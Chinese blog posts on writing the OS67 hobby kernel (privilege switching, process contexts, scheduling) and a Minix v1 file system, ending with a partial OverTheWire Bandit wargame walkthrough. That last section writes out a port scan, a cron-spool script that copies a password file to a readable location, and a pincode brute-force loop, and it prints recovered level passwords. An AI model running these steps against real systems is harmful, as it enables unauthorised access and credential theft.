自从上次完成了 Minix v1 文件系统的实现之后, 就开始看 xv6 中进程相关的代码, 并把它抄进 OS67 中, 到今天为止, 总算是完成地差不多了.

进程的实现可能是 xv6 中耦合度最高的一部分, 在完成大部分的代码 (GDT,TSS 的设置, 上下文保存和切换, 虚拟内存映射, 系统调用)之前, 你很难让你的内核跑起来.

xv6 已经尽量使用容易理解的方式来书写这些代码了, 不过有些地方仍然比较晦涩(对我来说). 希望再这篇文章里能稍微梳理一下.

注意: OS67 并不打算支持多核 CPU, 这极大地降低了实现进程的难度, 不需要考虑由于多核导致的进程间的竞争和同步, 因此 xv6 中关于锁的代码都可以忽略.

特权级转换

几个关于特权级的概念:

intel 8086 的特权级分为 0 1 2 3 四级, 这里只使用 0 和 3
DPL: Descriptor Privilege 描述符特权级, 储存在 GDT 或 IDT 描述符中
CPL: Current Privilege 当前特权级, 储存在 cs 寄存器的低二位
RPL: Request Privilege 请求特权级, 请求访问的段的描述符的特权级

GDT

这里使用的用户态的特权级为 3, 因此用户态的程序, 其所在的数据段代码段的 DPL, 段寄存器低 2 位的 RPL 都得是 3, 因此设置的全局段描述符表(GDT) 如下:

// OS67/kern/gdt.c
gdt_install(0, 0, 0, 0, 0);
/* kernel code segment type: code addr: 0 limit: 4G gran: 4KB sz: 32bit */
gdt_install(SEL_KCODE, 0, 0xfffff, AC_RW|AC_EX|AC_DPL_KERN|AC_PR, GDT_GR|GDT_SZ);
/* kernel data segment type: data addr: 0 limit: 4G gran: 4KB sz: bit 32bit */
gdt_install(SEL_KDATA, 0, 0xfffff, AC_RW|AC_DPL_KERN|AC_PR, GDT_GR|GDT_SZ);
/* user code segment type: code addr: 0 limit: 4G gran: 4KB sz: 32bit */
gdt_install(SEL_UCODE, 0, 0xfffff, AC_RW|AC_EX|AC_DPL_USER|AC_PR, GDT_GR|GDT_SZ);
/* user data segment type: data addr: 0 limit: 4G gran: 4KB sz: 32bit */
gdt_install(SEL_UDATA, 0, 0xfffff, AC_RW|AC_DPL_USER|AC_PR, GDT_GR|GDT_SZ);

第一二个描述符定义了内核的代码段和数据段, 第三四个描述符定义了用户的代码段和数据段.

注意: 代码段必须是非一致性代码段, 因为一致性代码段对特权级的处理方式不同.

当 GDT 初始化后, 第一二个描述符被使用, 内核跑在特权级为 0 的段上. 那如何让代码从特权级为 0 的段(内核态)转移到特权级为 3 的段(用户态)呢? 用中断.

IDT

为了让用户空间的程序顺利进入内核态, 需要对中断描述符表(IDT) 做一些设置.

(以下内容摘自 xv6 中文文档, 有小改动)

我们假设一个用户态程序执行int n指令触发中断, 则 CPU 会取得中断号 n, 进行如下步骤: (由 PIC 或者异常触发的中断不一定如此)

从中断描述符表(IDT) 获得第 n 个描述符
检查描述符的特权级 DPL 是否 数值上大于等于 当前的特权级 CPL (即当前段的级别至少要高于要执行的中断的特权级), 是则继续, 否则触发一个通用保护中断(General Protection Fault, int 13)

通过设置 DPL, 可以限制用户态能用 int 指令触发的中断号, 系统调用的实现即是如此

如果目标段描述符的 RPL < CPL, 则在 CPU 内部保存esp和ss的值. 这个时候意味这特权级转换要发生了.
从一个任务状态段(TSS)加载ssX和espX, X 是 RPL 的值, 所以对于系统调用, 取出的会是 ss0和esp0
将ss esp eflags cs eip压栈
清除eflags中的某些位
设置cs和ip为 IDT[n] 中指定的值. (执行中断服务例程)

对于普通的中断, 其中断返回地址是发生中断时的执行的那条指令的地址 (需要将 IDT 的类型设置为中断门(Interrupt gate)) 因为这种中断通常和当前进程没有什么关系.

idt_install(0, (uint32_t)fault0, SEL_KCODE << 3, GATE_INT, IDT_PR|IDT_DPL_KERN);

对于系统调用, 我们需要主动执行 int 指令, 并让其返回到下一条指令处. 因此要将处理系统调用的 IDT 设置为陷阱门(Trap gate), 并且 DPL 为IDT_DPL_USER(3). 如下:

idt_install(ISR_SYSCALL, (uint32_t)_syscall, SEL_KCODE << 3, GATE_TRAP, IDT_PR | IDT_DPL_USER);

TSS

在特权级转换的时候, 需要从任务状态段取出ss0和esp0, 因此在转换之前需要设置 TSS.

CPU 会从寄存器tr获得 TSS 的选择子, 然后从 GDT 表里面找出对应的描述符, 由描述符就可以获得 TSS 的基址了.

TSS 的选择子放在 GDT 里, 但是其AC_RE(ACCESS_REVERSE)位为 0 来表示它是一个 TSS 描述符而不是 GDT 描述符.

因此 TSS 的初始化是这样的:

void tss_init(){
    gdt_install(SEL_TSS, (uint32_t)&tss, sizeof(tss),AC_PR | AC_AC | AC_EX, GDT_GR);
    /* for tss, access_reverse bit is 1 */
    gdt[5].access &= ~AC_RE;
}

在从进程的内核态回到用户态的时候, 要设置一次 TSS, 以下函数在uvm_switch里面被调用:

void tss_set(uint16_t ss0, uint32_t esp0){
    memset((void *)&tss, 0, sizeof(tss));
    tss.ss0 = ss0;
    tss.esp0 = esp0;
    tss.iopb_off = sizeof(tss);
}

两个上下文

中断上下文

从上面关于中断过程的解释可以看到, 从用户态执行中断转入内核态是可能的, 重点在与设置一个 DPL = 3 的 IDT 和一个 TSS 段.

那如何从内核态返回用户态呢? iret 指令会按 int 压栈的顺序逆序将寄存器们出栈, 程序就会从内核态又返回到用户态了.

有意思的地方就是, 要从内核态到用户态, 我们可以构造一个栈, 然后执行 iret 指令, iret 就会将我们特地安排的值覆盖到寄存器上, 这个工作由proc_alloc完成, 每个新建的进程都通过这种方式"假装回到"用户空间.

为了方便地构造栈, 我们需要定义出中断时保存的上下文, int 指令保存的信息还不够, 我们需要自己保存更多的寄存器:

struct int_frame{
    /* segment registers */
    uint32_t gs;    // 16 bits
    uint32_t fs;    // 16 bits
    uint32_t es;    // 16 bits
    uint32_t ds;    // 16 bits

    /* registers save by pusha */
    uint32_t edi;
    uint32_t esi;
    uint32_t ebp;
    uint32_t esp;
    uint32_t ebx;
    uint32_t edx;
    uint32_t ecx;
    uint32_t eax;

    uint32_t int_no;

    /* save by `int` instruction */
    uint32_t err_code;
    uint32_t eip;
    uint32_t cs;    // 16 bits
    uint32_t eflags;
    uint32_t user_esp;
    uint32_t ss;    // 16 bits
};

只要完整地保存了以上信息并正确还原, 就能确保从中断返回时, 程序依然正常运行. 注意的是我们不必显式地建立以上的一个结构体(构建第一个进程的时候除外), 在中断发生时, 这个结构体会在进程的内核栈上被建立.中断返回时, 这些信息又会从栈里被弹出.

中断上下文的err_code到ss部分由 int 指令压入, 之后跳转到OS67/kern/loader.asm 中的由汇编编写的中断服务例程(ISR)入口. 有的中断不产生err_code, 就由该中断入口压入一个假的err_code. 这些入口代码有两个宏生成, 分别是m_fault和m_irq, 负责处理异常中断和硬件中断. 另外还有_syscall和_isr_unknown处理系统调用和未定义的中断.

每个入口都会压入自己的中断号, 然后统一跳转到_isr_stub, 压入上下文的剩余部分, 再调到由 C 编写的isr_stub, 由此再根据入口压入中断号调用真正的 ISR. 关于这些 ISR 的详情...太长了表示扯不下去了... :(

进程上下文

中断上下文已经让程序能够程序成功进入内核并从内核中返回, 接下来通过切换进程上下文来实现进程的切换.

进程上下文看起来比中断上下文简单许多, 不过更富技巧性.

struct context{
    uint32_t edi;
    uint32_t esi;
    uint32_t ebx;
    uint32_t ebp;
    uint32_t eip;
};

这个上下文同样是建立在进程的内核栈上的,但是内核原来的栈也保存了一个.

我们用下面这个函数来切换进程上下文:

; context_switch(struct context **old, context *new)
; 当你调用这个函数时, 会依次 压入 new, old 和 eip
[global context_switch]
context_switch:
    mov eax, [esp + 4]  ; 把 old 放到 eax
    mov edx, [esp + 8]  ; 把 new 放到 edx

    ; 这里已经隐式地保存了 eip
    push ebp
    push ebx
    push esi
    push edi
; 此时的栈结构就是一个 `strcut context`

    mov [eax], esp      ; 把 esp 保存到 old 指向的地址
    mov esp, edx        ; 切换到 new 指向的地址作为栈

    pop edi
    pop esi
    pop ebx
    pop ebp
    ; 还剩下一个 eip 未弹出, 刚好由 ret 弹出, 这样就切换到了 new 里面的 eip
    ret

这里的 eip 和 esp 的保存都非常巧妙, eip 在执行 context_switch 时被压入, 又在 ret 的时候被弹出. 而 esp 则直接作为 context 的地址被保存.

可以看到这个函数可以切换当前的执行流到另一个执行流, 进程的切换就是这样实现的, 当然要切换的不止这个, 页表也要切换, 代表当前执行进程的 proc 变量也要更新. 页表的切换由 uvm_switch 执行, proc 的更新则在 scheduler 执行.

虚拟内存映射

由于之前的思路问题, 因此 OS67 的内存管理方式不得不和 xv6 不太一样.

OS67 的内存分配实现在 OS67/mm/pmm.c, 使用一个简单的栈来存放未分配的内存页, malloc 就是 pop 而 mfree 就是 push. 这么做简单明了, 虽然申请多个页的时候效率不高, 不过我们不考虑这种需要大量内存的情况.

对于虚拟内存映射, 策略是这样的: 内核以及未分配的内存的虚拟地址和物理地址一一对应, 用户地址映射到 0xc0000000 上. 内核在初始化页表的时候, 建立一个映射所有物理内存的页表, 之后建立的进程页表中的内核部分就复用内核页表的页表项, 避免内存浪费, 同时在特权级转换时也不必切换页表, 亦能很方便地从内核空间访问到用户空间的内存.

将用户地址映射到 0xc0000000 的好处是不需要在建立正式页表前建立临时页表来把内核映射到高处, 另外 malloc 出来的是物理地址, 可以直接对其读写而不必做转换. 缺点则是程序必须经过重定位(链接时使用参数 -Ttext 0xc0000000)才能运行在高地址, 也许有更多的缺点还没发现.

第一个进程

构造

结构体 proc 用来储存一个进程的信息, 内核中有一个数组struct ptable[NPROC]来管理所有的进程. 结构体proc定义如下:

struct proc{
    volatile uint8_t pid;
    uint32_t size;
    uint8_t state;
    uint8_t killed;
    char name[NAME_LEN];

    // context
    struct int_frame *fm;       // 中断上下文
    struct context *context;    // 进程上下文

    pde_t *pgdir;               // 进程页表
    char *kern_stack;           // 内核栈

    void *chan;

    struct file *ofile[NOFILE];
    struct inode *cwd;
    struct proc *parent;
};

这里主要关注的是两个上下文, 进程页表以及内核栈.

这里涉及的代码都在OS37/proc/proc.c中.

第一个进程需要手动创建, 由proc_init完成.

proc_inint首先调用proc_alloc从ptable获得一个空的进程结构体槽位, proc_alloc做了一些必要的初始化操作.

proc_alloc为新进程申请了内核栈, 并对他进行了一定的构造:

为中断上下文fm留出空间, 并把proc->fm指向该空间.
在fm之后放置了指向中断返回函数_isr_stub_ret的指针
为进程上下文context留出空间, 并把proc->content改空间,
把proc->context-eip指向了函数fork_ret.

在 xv6 中fork_ret被用来处理锁, 这 OS67 中, 这个函数碰巧被用来解决一个奇怪的 bug <https://github.com/SilverRainZ/OS67/commit/fc0e84caa1c3ae95998342f2b03125e2226d0dd6>`_ . 因此, 正常 alloc 出来的新进程都会返回到fork_ret. 从fork_ret返回后, 又会跳转到_isr_stub_ret准备从中断返回. 接下来就会逐步把fm弹出, 尽管此时的fm还没有初始化.

之后proc_init为第一个进程申请了一个页目录proc->pgdir, 调用kvm_init建立到内核的一对一的地址映射. 为之前的内核栈也建立地址映射.

再接着, 通过声明在用户程序OS67/proc/init.asm中的全局变量__init_start __init_end 的地址获得编译进内核里的用户程序的位置, 调用uvm_init_fst把程序复制到一个新的页中, 并把该页映射到USER_BASE(0xc0000000).

然后开始手动构建一个fm, 为各个段寄存器设置正确的段选择子, 为 eflags 寄存器加上 IF 标志(允许中断), 设置用户栈, 最后把eip设定为USER_BASE.

最后把进程的状态proc->state设置为可运行 P_RUNABLE.

以上是比较关键的步骤, 现在可以准备运行第一个进程了.

运行

执行了proc_init之后, scheduler紧接其后, 它在ptable中寻找第一个state为P_RUNABLE的进程, 调用uvm_switch切换到该进程的页表并设置好 TSS.

接着更新proc变量, 把proc->state设置为P_RUNNING. 最后调用context_switch切换到进程. 不出意外的话, context_switch会弹出proc->context中设定好的寄存器, 新进程返回到fork_ret之后返回到_isr_stub_ret中, 又把proc->fm弹出. 于是第一个进程就成功运行在 0xc0000000 的用户空间上了.

调度

这里使用非常简单的轮转法, 每次触发时钟中断都会执行sched, sched把当前进程状态由P_RUNNING变更为P_RUNABLE. 接着执行context_switch. 这样 CPU 执行流就回到了刚才scheduler中的循环, scheduler继续寻找一个P_RUNABLE的进程并切换到它.

E.N.D.

至此, 用户级进程已经成功实现并且被调度. 但是没有有效的接口来启动更多的进程. 我们需要实现一些系统调用比如fork和exec来做这些事情. :( 但是我已经写不下去了... 如果可以话下次再写吧.

不一定有下次

立 Flag

2015-09-09T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

现在不开始的话, 以后也不会开始了.

Minix v1 文件系统的实现

2015-08-07T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

Minix FS

Minix file system 是 Andrew S. Tanenbaum 在 198x 年发明的文件系统, 并随着 Minix 1.0 版一起于 1987 年释出, Linus 编写 Linux 0.11时, 使用的也是 Minix FS, Linux 至今依然提供了对 Minix FS 的支持. Minix FS 结构简单, 易于理解, 并且资料相当丰富.

xv 6

其实最开始并没有用 Minix FS 的想法, 在实现 Minix FS 之前, 我先看了 xv6 中的文件系统部分, 在抄了一遍它的代码之后, 才发现原来 xv6 实现的不是现有的任何一个文件系统, 虽然在原理上和 Minix 没有太大差别 (甚至某些方面比 Minix 更好, 比如 xv6 的 FS 有日志), 但是因为这不是一个被广泛使用的文件系统, 使得你在构建一个磁盘的时候得自己写代码... (xv6/mkfs.c), 而且你没法很方便地验证你代码的正确性, 太麻烦, 弃之.

Minix 则不同了, 作为曾经流行过的文件系统, 在 Linux 上至今都有方便的 mkfs.minix 和 fsck.minix 工具, 前者可以建立一个 Minix 文件系统, 后者检查该文件系统的正确性. 正因如此, 我在 xv6 的代码的基础上修改了代码, 在 OS67 上实现了一个精简版的 Minix FS.

建立磁盘

首先用bximage建立一个硬盘镜像文件, 再用mkfs.minix建立文件系统, 如果需要复制文件进去的话, 用mount挂载.

bximage bin/rootfs.img -hd=10M -imgmode=flat -mode=create -q
mkfs.minix bin/rootfs.img -1 -n14
sudo mount -o loop -t minix bin/rootfs.img /mnt/fs
sudo cp -r usr/* /mnt/fs/
sleep 1
sudo umount /mnt/fs

这段脚本建立了一个大小为 10 M 的 Minix 文件系统镜像, 并且将 usr 目录下的文件复制进去. 当你需要检查文件系统的正确性, 执行fsck.minix -fsl ./bin/rootfs.img, 检查无误的话, fsck 会输出该磁盘的超级块信息及里面包含的所有文件. 若出错, fsck 会给出详尽的错误信息, 比如下面这段:

➜  OS67 git:(master) ✗  fsck.minix -fsl ./bin/rootfs.img
Forcing filesystem check on ./bin/rootfs.img.
3360 inodes
10080 blocks
Firstdatazone=110 (110)
Zonesize=1024
Maxsize=268966912
Filesystem state=1
namelen=14

/bin:
/bin/README
/README
Inode 6 marked unused, but used for file '/TESTME'
/TESTME
Block 115 in file '/TESTME' is marked not in use.
Inode 5 not used, marked used in the bitmap.
Inode 6 used, marked unused in the bitmap.
Zone 114: marked in use, no file uses it.
Zone 115: not in use, counted=1

Minix 文件系统结构

Minix 文件系统的结构如下:

Minix v1 file system structure
zone:  0           1              2             2 + imap_blk        ...         ...
+----------------------------------------------------------------------------------------+
| bootsector | superblock | inode bitmap ... | zone bitmap ... | inodes zone | data zone |
+----------------------------------------------------------------------------------------+
1 zone = 2 block = 1024 byte

注意: Minix 文件系统的最小分配单位是 zone, 可以把它叫做虚拟块, 一个虚拟块的大小是 1024 byte, 而磁盘的物理扇区大小常常是 512 byte.

i 节点

i 节点是 Minix FS 中最重要的结构体, 其定义如下:

// OS67/inc/minix.h
/* in-disk minix inode */
struct d_inode{
    uint16_t mode;  // 文件类型和 RWX 访问控制位
    uint16_t uid;   // 文件属主的用户 ID            (unused)
    uint32_t size;  // 文件大小, 以 byte 计数
    uint32_t mtime; // 自从 1970.1.1 以来的秒数     (unused)
    uint8_t gid;    // 文件属主 所属的组            (unused)
    uint8_t nlinks; // 该节点被多少个目录所链接

    /*
     * zone[0] - zone[6] 分别指向 7 个直接块
     * zone[7] 指向间接块
     * zone[8] 指向双重间接块                       (unused)
     */
    uint16_t zone[9];
};
// (标记有 unused 是 OS67 没有用到的元素)

i 节点被储存在磁盘的 i 节点块(inodes zone)中, 并按排列顺序被编号, 其使用状况存储在磁盘的 i 节点位图块(inodes bitmap)中.

一个 i 节点对应磁盘里的一个文件, 储存着文件的元信息. 值得注意的是 i 节点并未储存该文件的文件名.

zone中储存了虚拟块的号码, 这些号码指向磁盘的数据块(data zone), 这些块中直接或间接储存了文件的数据.

目录被实现为一种特殊的文件, 目录的数据由一个或多个dir_entry结构组成.

// OS67/inc/minix.h
/* minix directroy entry */
struct dir_entry{
    uint16_t ino;
    char name[NAME_LEN];
};

第一个元素代表该目录下的文件的 i 节点号, 第二个元素则是文件名. 文件的文件名储存在引用它的目录文件中, 这使得一个文件可以有多个名字.

在 Linux 下创建某个文件的硬连接, 其实就是为目标目录增加对指定文件对应的 i 节点的引用, 注意 i 节点号只在一个磁盘中唯一, 所以硬链接无法跨磁盘.

nlinks元素指示了有多少个目录引用了这个文件, 当删除一个文件时, 对应的 i 节点的引用数就会减一, 当引用数为 0 时, 该节点就可以从磁盘上被释放了.
zone[0] - zone[6]指向的虚拟块直接储存了文件的数据.
zone[7]指向的虚拟块储存的是更多的虚拟块号码, 就是一个二级表.
zone[8] 指向一个双重间接块.

用图说话比较清晰:

ref: http://jan.newmarch.name/OS/l6_1.html

因此, Minix FS 支持的最大文件大小为 (7 + 1024/2 + 1024/2*1024/2) * 1024 byte = 256 MB.

OS67 并没有使用双重间接块, 因此支持的最大文件大小仅为 (7 + 1024/2) * 1024 byte = 519 KB.

引导扇区(boot secotr):

磁盘的第一个虚拟块作是引导扇区, 这个通常和文件系统没有关系.

OS67 的 bootsector 实现在 OS67/boot/bootsect.asm

超级块(super block)

超级块(superblock), 用来存放整个文件系统的元信息, 比如磁盘大小, i节点数目, 虚拟块数目, Magic nubmer 等. Minix FS 的超级块结构如下:

// OS67/inc/minix.h
struct super_block{
    uint16_t ninodes;       // number of inodes
    uint16_t nzones;        // number of zones
    uint16_t imap_blk;      // i 节点位图 占用块的数目
    uint16_t zmap_blk;      // 数据块位图 占用的块的数目
    uint16_t fst_data_zone; // 第一个 数据块 的块号
    uint16_t log_zone_size; // 一个虚拟块的大小 = 1024 << log_zone_size

    uint32_t max_size;      // 能存放的最大文件大小(以 byte 计数)
    uint16_t magic;         // magic number
    uint16_t state;         //
};

位图(inode & zone bitmap)

有关位图的实现在OS67/fs/bitmap.c中.

OS67/inc/minix.h实现了两个宏来定位这些位图块.

/* bit per block */
#define BPB (BSIZE*8)
/* bitmap contain inode i*/
#define IMAP_BLK(sb, i) (2 + (i - 1)/BPB)
/* bitmap contain block z */
#define ZMAP_BLK(sb, b) (2 + sb.imap_blk + (b)/BPB)

inode bitmap: i 节点位图, 这些块每个位都对应一个 i 节点, i 节点位图占据 superblock.imap_blk个块. (注意 i 节点从 1 开始计数), 宏IMP_BLK用来根据 i 节点号定位到对应的 bit 所在的块;
zone bitmap: 数据块位图, 从编号为superblock.fst_data_zone开始的块的使用情况和这个位图上的位一一对应. (块号依然从 0 开始计数)宏ZMAP_BLOCK根据块号定位到对应的 bit 所在的块;

虽然现在 bitmap.c 的代码工作正常, 不过我对他们的对应关系还是存有疑问... 暂时懒得去想了, 此处存疑. // TODO

i 节点块(inode)

这些块用来储存 i 节点, 用宏IBLK根据 i 节点号, 定位到块号, 同样注意 i 节点从 1 开始计数.

#define IBLK(sb, i) (2 + ((sb).imap_blk) + ((sb).zmap_blk) + ((i) - 1)/IPB)

数据块(data)

这些块被用来储存数据, 从superblock.fst_data_zone开始.

系统层次

整个文件系统的实现被分为五个层次, 代码基本上继承自 xv6, 在摸清楚代码的意思之后, 把 xv6 文件系统代码改成 Minix FS 是很简单的事情, 甚至有些文件不需要改动...

磁盘驱动层 OS67/fs/ide.c

这一层通过 ins outs 指令, 负责从磁盘读取扇区到高速缓冲区 buf, 并且限制在一个块只能被一个进程访问(通过 B_BUSY 锁住).

这里的高速缓冲/块缓冲只是把磁盘的数据读取到内存中暂存, 并且避免无意义的读取.

注意: 这里一次读取的是一个虚拟块(1024 byte), 而不是一个物理意义上的扇区(常见大小是 512 byee), 因此得把上层传来的虚拟块号, 转化为物理扇区号, 并且一次读取两个扇区.

uint32_t phy_blkn = b->blkno*(BSIZE/PHY_BSIZE);
...
/* number of sectors, read 2 sector for once  */
outb(IDE_PORT_SECT_COUNT, BSIZE/PHY_BSIZE);

块缓冲层 OS67/fs/bcache.c

维护了一个高速缓冲的链表(数组), 为上层提供了bread和bwrite函数, 而bget则用来分配缓冲区.

braed

当请求一个块的数据的时候(bread), 如果一个块已经被缓存, 并且这个块的内容是有效的(B_VAILD), 块缓存层可以直接返回当前缓冲区的内容, 而不用重新读取扇区.

bread bwrite 封装了磁盘读写的操作, 你不会知道你这次读取的内容是从磁盘中读取的还是从块缓冲直接取出的, 但是数据一定是正确的.

bget

当根据虚拟块的块号(buf->blkno)请求一个缓冲区的时候(bget), 程序会沿着链表从头到尾寻找这个缓冲区是否被缓存,是的话直接返回, 如果没有被缓存, 会从链表从尾到头搜索第一个可用的空缓冲区, 每次释放缓冲区的时候(brelse), 都会把该缓冲区放在链表头, 保证每次从头查找到的是使用时间离现在最近的缓冲区, 而被分配的空缓冲是最久没使用的.

以上的两个层次都和叫做块缓冲区的结构: buf密切相关, buf的结构如下:

// OS67/inc/buf.h
struct buf {
    char flags;         // B_BUSY B_VALID B_DIRTY
    char dev;           // only one disk, dev = 0
    uint32_t blkno;     // zone number
    struct buf *prev;   // LRU Cache List 双向
    struct buf *next;
    struct buf *qnext;  // 磁盘操作请求队列, 单向
    char data[BSIZE];
};

i 节点层 OS67/fs/inode.c OS67/fs/bitmap.c

这一层开始和文件系统密切相关, i 节点层为使用中的磁盘中的 i 节点(d_inode) 提供了内存中的拷贝(inode), 可以类比块缓冲和虚拟块的关系.

磁盘中的 i 节点结构上面已经讲过了, 内存中的 i 节点inode结构如下:

// OS67/inc/minix.h
/* in-memorty inode */
struct inode{
    uint16_t dev;   // i 节点所在的磁盘, OS67 只支持单个磁盘, 所以始终为 0
    uint32_t ino;   // i 节点号码
    uint16_t ref;   // 内存引用计数
    uint16_t flags; // flag 就是 flag
    uint16_t atime; // (unused)
    uint16_t ctime; // (unused)

// struct d_inode {
    uint16_t mode;
    uint16_t uid;   // (unused)
    uint32_t size;
    uint32_t mtime; // (unused)
    uint8_t gid;    // (unused)
    uint8_t nlinks;
    uint16_t zone[9];
//}
// 可以看到后面部分其实是完整的一个`d_inode`.
};

这一层提供了对 inode 的各种操作

申请和分配:

_ialloc _ifree 在磁盘上分配和释放新的 d_inode;
balloc bfree 在磁盘上分配和释放新的数据块, 供 i 节点使用.

以上的函数均在OS67/fs/bitmap.c中实现.

ialloc则是对_ialloc的封装, 分配一个新的d_inode后, 把它和内存中的 inode联系起来.

i 节点操作:

iget 从 i 节点缓冲中获得指定 i 节点号码的缓冲区, 类似bget;
ilock 将 i 节点锁住(I_BUSY), 并从磁盘中将 i 节点内容读出, 而iunlock解锁 i 节点;
idup增加该 i 节点的引用计数(ip->ref), iput则将引用计数减 1, 当引用计数为 0 时, 该缓冲区被释放; 如果该节点在磁盘上的引用(ip->nlinks)也为 0, 调用itrunc将该节点占有的数据块和元信息释放, 再调用_ifree清空 inode 位图上的位;
bmap读取指定 i 节点的第 n 个块, 间接块和非间接块的区别就由该函数处理;
iread 和 iwrite则在bmap的基础上实现了对 i 节点的读取和写入.

目录层 OS67/fs/dir.c OS/fs/p2i.c

这一层开始有文件名和路径的出现, 为上层提供了一个将路径名转换为对应 i 节点的函数.

dir_lookup 在一个类型为目录的 i 节点中寻找指定名字的 dir_entry (判断 i 节点是否为目录用宏IS_DIR);
dir_link 为一个目录文件增加一个dir_entry, 链接到指定的一个 i 节点;
p2i (path to inode) 解析路径名, 返回指定的未上锁的 i 节点.

文件和系统调用

这一层是最上一层, 文件是对 i 节点的简单封装, 提供了fread fwrite fclose等函数. 此处涉及到进程的文件表, 因此这一层暂时没有抄写.

不过在前面几层的基础上, 实现这一层应该没什么问题.

参考

OverTheWire Bandit

2015-07-26T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

题目地址: OverTheWire: Bandit.

考的都是些 Linux 下的基本操作, 虽然说是基本操作, 不过那些命令都没用过, 所以做了这些题依然觉得受益匪浅. 其中还有有几道题很有意思... 有意思的意思是我不会做.

WeChall 计分板

OverTheWire 使用 Wechall 的计分板来计分, 具体参见 WeChall Scoreborad

因为题目都在远程的 ssh 主机上, 所以你需要让远程主机知道你是谁. 在你的 .bashrc 里加上两个环境变量:

export WECHALLUSER="你在 WeChall 的用户名"
export WECHALLTOKEN="你在 WeChall 的 WarToken"

WarToken 可以在 WeChall 网站的 Account -> WarBoxes -> Your current WarToken 获得.

在 ~/.ssh/config 中添加:

Host *.labs.overthewire.org
SendEnv WECHALLTOKEN
SendEnv WECHALLUSER

在 ssh 连接的时候就会把你的帐号信息发送给远程主机.

在登入一个新的关卡后, 执行 wechall 便可获得该关卡的分数.

题目

bandit17

The password for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.

要从 31000-32000 之间的端口中找出有开放的并且只是 SSL 连接的端口, 往该端口发送上一关的密码就会返回下一关的密码.

找出所有有应答的端口:

nc -v -w 2 localhost 31000-32000 2>/tmp.tmpxxx/log
cat /tmp.tmpxxx/log | grep Succ

-v 用来给出连接的详细信息, -w 2 指定 timeout, 不知道为什么 -v 的信息是直接输出到 stderr 的. tmp/tmp.xxx 使用 mktemp -d 产生的临时目录.

最后有应答的只有五个端口, 挨个挨个试.

openssl s_client -connect localhost:31xxx -ssl3 -quiet

发现是 31790 端口, 返回一个 RSA 私钥, 所以:

openssl s_client -connect localhost:31790 -ssl3 -quiet > bandit17.private
chmod 0600 bandit17.private
ssh -i bandit17.key bandit17@bandit.labs.overthewire.org
cat /etc/bandit_pass/bandit17

key: xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn

bandit21

There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).

备注

To beat this level, you need to login twice: once to run the setuid command, and once to start a network daemon to which the setuid will connect.

备注

Try connecting to your own network daemon to see if it works as you think

bandit20 的家目录下提供了一个程序 suconnect, 会从你指定的端口读取 bandit20 的密码, 如果正确的话返回本关卡的密码.

echo GbKksEFF4yrVs6il55v6gwY5aVje5f0j | nc -l -p 1234 & ./suconnect 1234

这里主要是 & 的用法, 使两个命令同时执行:

key: gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

bandit24

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

备注

This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

备注

Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…

这题我觉得有点意思.

cron 是一个定时执行工具, 任务可以通过命令 crontab 设定, 配置储存在 /etc/cron.d 中, 每分钟 cron 会被触发一次, 到该目录检测是否有任务要执行: cat /etc/cron.d/cronjob_bandit24

* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

所以说 /usr/bin/cronjob_bandit24.sh 会每分钟执行一次, 看看这个脚本的内容是什么:

#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        timeout -s 9 60 "./$i"
        rm -f "./$i"
    fi
done

每次都执行 /var/spool/bandit24 下的所有可执行文件, 之后删除. 当然是以 bandit24 的身份执行这些操作.

所以我们可以构造一个脚本让他执行.

#!/bin/sh
cp /etc/bandit_pass/bandit24 /tmp/tmp.xxx/psw
chmod 666 /tmp/tmp.xxx/

这个脚本把密码文件复制到临时目录并且更改他的权限(至少让所有人可读).

中间出了很多愚蠢的错误, 比如写错目录,搞错 sh 的路径什么的, 另外, 不能用重定向导出 bandit24 的密码, 因为没有权限(为什么没有权限我就不清楚了).

脚本写完后, chmod +x, 再把它复制到 /var/spool/bandit24 目录下, 记得备份, 每隔一分钟该目录就会被清空.

脚本执行后, 到 /tmp/tmp.xxx 里就可以看到存有 key 的文件了:

key: UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

bandit25

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinaties, called brute-forcing.

有一个守护进程在 30002 端口监听, 把 bandit24 的密码和一个四位数字组成的 pincode 传给它, 如果密码和 pincode 都正确的话会返回 bandit25 的密码.

所以自然是爆破了, 直接用 nc 链接该端口会提示:

I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.

所以按照格式来, 生成 10000 个密码 + pincode 的序列传给该端口.

for i in {0000..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" >> /tmp/pin; done
cat /tmp/pin | nc localhost 30002 > /tmp/log
cat /tmp/log | grep "Corr" -n1

其实答案就是最后一个端口:

5670-Wrong! Please enter the correct pincode. Try again.
5671:Correct!
5672-The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

所以:

key: uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

bandit26

Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.

